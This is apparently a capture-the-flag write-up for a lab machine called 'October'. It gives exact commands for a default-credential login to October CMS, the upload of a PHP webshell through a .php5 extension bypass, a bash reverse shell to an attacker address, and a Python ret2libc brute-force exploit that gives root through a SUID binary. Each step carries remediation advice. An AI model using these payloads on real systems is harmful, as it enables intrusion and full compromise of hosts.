October
Summary
I discovered an October CMS installation on the only exposed service (port 80) and authenticated to its admin backend using the unchanged factory-default credential. An authenticated file-upload bypass (CVE-2017-1000119) allowed a PHP webshell to be planted in the publicly reachable media directory by renaming it with the .php5 extension, which bypassed the CMS blacklist but was still executed by Apache as PHP.
The resulting remote code execution as the web-server account (www-data) gave direct read access to a world-readable user home directory for the first flag. Full system compromise followed when a custom setuid-root binary was found to contain a stack buffer overflow: a ret2libc payload using the target's own libc symbol offsets was brute-forced against the ASLR-randomised libc base in a tight loop until a random-address match caused the binary to execute /bin/sh as root.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 80 $TARGETsearchsploit "October CMS"curl -sI http://$TARGET/backend/backend/auth/signinExact commands 2
T="http://$TARGET"; J=$(mktemp); H=$(curl -sS -c "$J" "$T/backend/backend/auth/signin"); S=$(printf '%s' "$H" | grep -oP 'name="_session_key"[^>]*value="\K[^"]+' | head -1); K=$(printf '%s' "$H" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)curl -sS -i -b "$J" -c "$J" -X POST "$T/backend/backend/auth/signin" --data-urlencode "_session_key=$S" --data-urlencode "_token=$K" --data-urlencode "postback=1" --data-urlencode "login=admin" --data-urlencode "password=$PASSWORD"FixReplace the factory-default CMS administrator passwordCritical
Exact commands 2
printf '<?php system($_GET["cmd"]); ?>' > /tmp/cmd.php5curl -sS -b "$J" -c "$J" -X POST "http://$TARGET/backend/cms/media/upload" -F "file=@/tmp/cmd.php5;type=application/octet-stream" -F "path=/"FixPatch October CMS and disable PHP execution inside the upload directoryCritical
Exact commands 1
curl -sS "http://$TARGET/storage/app/media/cmd.php5" --get --data-urlencode 'cmd=id'Exact commands 2
nc -lvnp 4445curl -sS "http://$TARGET/storage/app/media/cmd.php5" --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1"'Exact commands 2
ls -la /home/harry/cat /home/harry/user.txtFixRestrict home directory permissions to prevent cross-account file accessMedium
Exact commands 3
find / -xdev -perm -4000 -type f 2>/dev/null | sortfile /usr/local/bin/ovrflw && ldd /usr/local/bin/ovrflwcat /proc/sys/kernel/randomize_va_spaceExact commands 6
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' (system|exit)@@'strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' | head -1cat > /tmp/ovr2.py << 'EOF'
import struct, subprocess, sys
OFFSET = 112
SYS_OFF = 0x40310
EXIT_OFF = 0x33260
BSH_OFF = 0x162bac
base = 0xb73d0000
while True:
pay = b'A' * OFFSET
pay += struct.pack('<I', base + SYS_OFF)
pay += struct.pack('<I', base + EXIT_OFF)
pay += struct.pack('<I', base + BSH_OFF)
p = subprocess.Popen(['/usr/local/bin/ovrflw'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, _ = p.communicate(pay)
if p.returncode == 0:
sys.stdout.write(out.decode('utf-8', errors='replace'))
sys.stdout.flush()
break
base += 0x1000
EOFnohup python2 /tmp/ovr2.py > /var/www/html/cms/storage/app/media/rootout.txt 2>&1 &curl -sS "http://$TARGET/storage/app/media/rootout.txt" | tail -20cat /root/root.txtFixRemove the vulnerable SUID binary and apply modern compile-time hardeningCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.7 ((Ubuntu)) |